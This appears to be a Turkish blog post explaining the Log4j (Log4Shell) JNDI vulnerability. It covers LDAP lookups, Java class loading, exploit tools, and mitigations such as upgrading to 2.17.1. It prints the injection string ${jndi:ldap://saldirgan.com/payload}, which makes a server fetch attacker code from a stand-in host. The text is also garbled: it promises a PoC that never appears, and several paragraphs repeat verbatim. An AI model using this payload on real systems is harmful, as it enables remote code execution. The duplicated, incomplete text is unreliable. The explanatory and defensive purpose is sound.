Selam, bugün biraz derinlere dalalım. Log4j denen o meşhur Java logging kütüphanesindeki zafiyet yıllardır konuşuluyor ama pek çok kişi sadece "JNDI lookup var" diye geçiştiriyor. Aslında işin içinde LDAP protokolü, Java'nın sınıf yükleme mekanizması ve seri hale getirme (deserialization) detayları var. Gelin adım adım bakalım.
Öncelikle zafiyet tetiklendiğinde sunucu, kullanıcı girdisindeki ${jndi:ldap://saldirgan.com/payload} gibi bir ifadeyi görüyor. Log4j bunu JNDI çağrısına çevirip belirtilen adrese gidiyor. Orada da saldırganın hazırladığı kötü niyetli Java sınıfı indiriliyor ve JVM tarafından yükleniyor. Bu sayede kod çalıştırma imkanı doğuyor.
Gerçek hayatta bunu test ederken genelde şu tarz bir PoC kullanıyoruz:
Tabii ki bu sadece başlangıç. Gerçek exploitlerde LDAP sunucusu (mesela Rogue JNDI veya Marshalsec) kurup, hedefe özel sınıf dosyası hazırlamak gerekiyor. Ayrıca Java sürümüne göre kısıtlamalar da değişiyor; 8u191 sonrası bazı korumalar geldi ama hala bypass yolları mevcut.
Blue team tarafında ise en etkili yöntem log4j sürümünü 2.17.1 ve üstüne çıkarmak, ayrıca JNDI lookup özelliğini tamamen kapatmak. Sistemde java.rmi.server.useCodebaseOnly=true gibi ayarları aktif etmek de işleri oldukça zorlaştırıyor.
Bu zafiyetin en ilginç yanı, sadece log mesajlarında değil, neredeyse her türlü kullanıcı girdisinde (HTTP header, cookie, POST body) tetiklenebilmesiydi. O yüzden saldırı yüzeyi oldukça genişti.
Öncelikle zafiyet tetiklendiğinde sunucu, kullanıcı girdisindeki ${jndi:ldap://saldirgan.com/payload} gibi bir ifadeyi görüyor. Log4j bunu JNDI çağrısına çevirip belirtilen adrese gidiyor. Orada da saldırganın hazırladığı kötü niyetli Java sınıfı indiriliyor ve JVM tarafından yükleniyor. Bu sayede kod çalıştırma imkanı doğuyor.
Gerçek hayatta bunu test ederken genelde şu tarz bir PoC kullanıyoruz:
Tabii ki bu sadece başlangıç. Gerçek exploitlerde LDAP sunucusu (mesela Rogue JNDI veya Marshalsec) kurup, hedefe özel sınıf dosyası hazırlamak gerekiyor. Ayrıca Java sürümüne göre kısıtlamalar da değişiyor; 8u191 sonrası bazı korumalar geldi ama hala bypass yolları mevcut.
Blue team tarafında ise en etkili yöntem log4j sürümünü 2.17.1 ve üstüne çıkarmak, ayrıca JNDI lookup özelliğini tamamen kapatmak. Sistemde java.rmi.server.useCodebaseOnly=true gibi ayarları aktif etmek de işleri oldukça zorlaştırıyor.
Bu zafiyetin en ilginç yanı, sadece log mesajlarında değil, neredeyse her türlü kullanıcı girdisinde (HTTP header, cookie, POST body) tetiklenebilmesiydi. O yüzden saldırı yüzeyi oldukça genişti.
